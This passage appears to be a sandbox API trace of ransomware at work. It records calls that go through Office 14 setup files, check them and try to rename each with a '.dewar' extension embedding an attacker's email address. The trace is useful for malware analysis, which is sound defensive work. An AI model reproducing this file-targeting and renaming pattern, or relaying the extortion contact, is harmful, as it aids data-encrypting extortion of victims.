dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.654] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7379816) returned 1 [0236.654] CloseHandle (hObject=0x1e4) returned 1 [0236.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0x20 [0236.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0236.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll")) returned 0 [0236.656] SetEvent (hEvent=0x118) returned 1 [0236.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0236.666] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=47520) returned 1 [0236.666] CloseHandle (hObject=0x1f0) returned 1 [0236.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0236.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0236.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0236.669] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3186) returned 1 [0236.670] CloseHandle (hObject=0x1f0) returned 1 [0236.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0236.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0236.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.679] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4207) returned 1 [0236.679] CloseHandle (hObject=0x1e4) returned 1 [0236.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0236.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0236.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.680] SetEvent (hEvent=0x118) returned 1 [0236.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.683] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1463568) returned 1 [0236.683] CloseHandle (hObject=0x1e4) returned 1 [0236.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0236.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll")) returned 0x20 [0236.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0236.690] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=715834) returned 1 [0236.691] CloseHandle (hObject=0x1f0) returned 1 [0236.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0236.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0236.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.701] SetEvent (hEvent=0x118) returned 1 [0236.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0236.702] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15736) returned 1 [0236.702] CloseHandle (hObject=0x1f0) returned 1 [0236.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0236.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0236.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0236.705] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1450) returned 1 [0237.091] CloseHandle (hObject=0x1f0) returned 1 [0237.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0237.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0237.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.093] SetEvent (hEvent=0x118) returned 1 [0237.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.102] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6421) returned 1 [0237.102] CloseHandle (hObject=0x1f0) returned 1 [0237.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0237.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0237.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.108] SetEvent (hEvent=0x118) returned 1 [0237.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.113] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=16683) returned 1 [0237.115] CloseHandle (hObject=0x1f0) returned 1 [0237.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0237.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0237.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.116] SetEvent (hEvent=0x118) returned 1 [0237.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.117] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1452) returned 1 [0237.118] CloseHandle (hObject=0x1f0) returned 1 [0237.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0237.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0237.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.125] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1872) returned 1 [0237.125] CloseHandle (hObject=0x1f0) returned 1 [0237.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0237.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0237.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.127] SetEvent (hEvent=0x118) returned 1 [0237.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.129] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1347) returned 1 [0237.129] CloseHandle (hObject=0x1f0) returned 1 [0237.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0237.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0237.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.133] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1457) returned 1 [0237.133] CloseHandle (hObject=0x1f0) returned 1 [0237.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0237.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0237.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 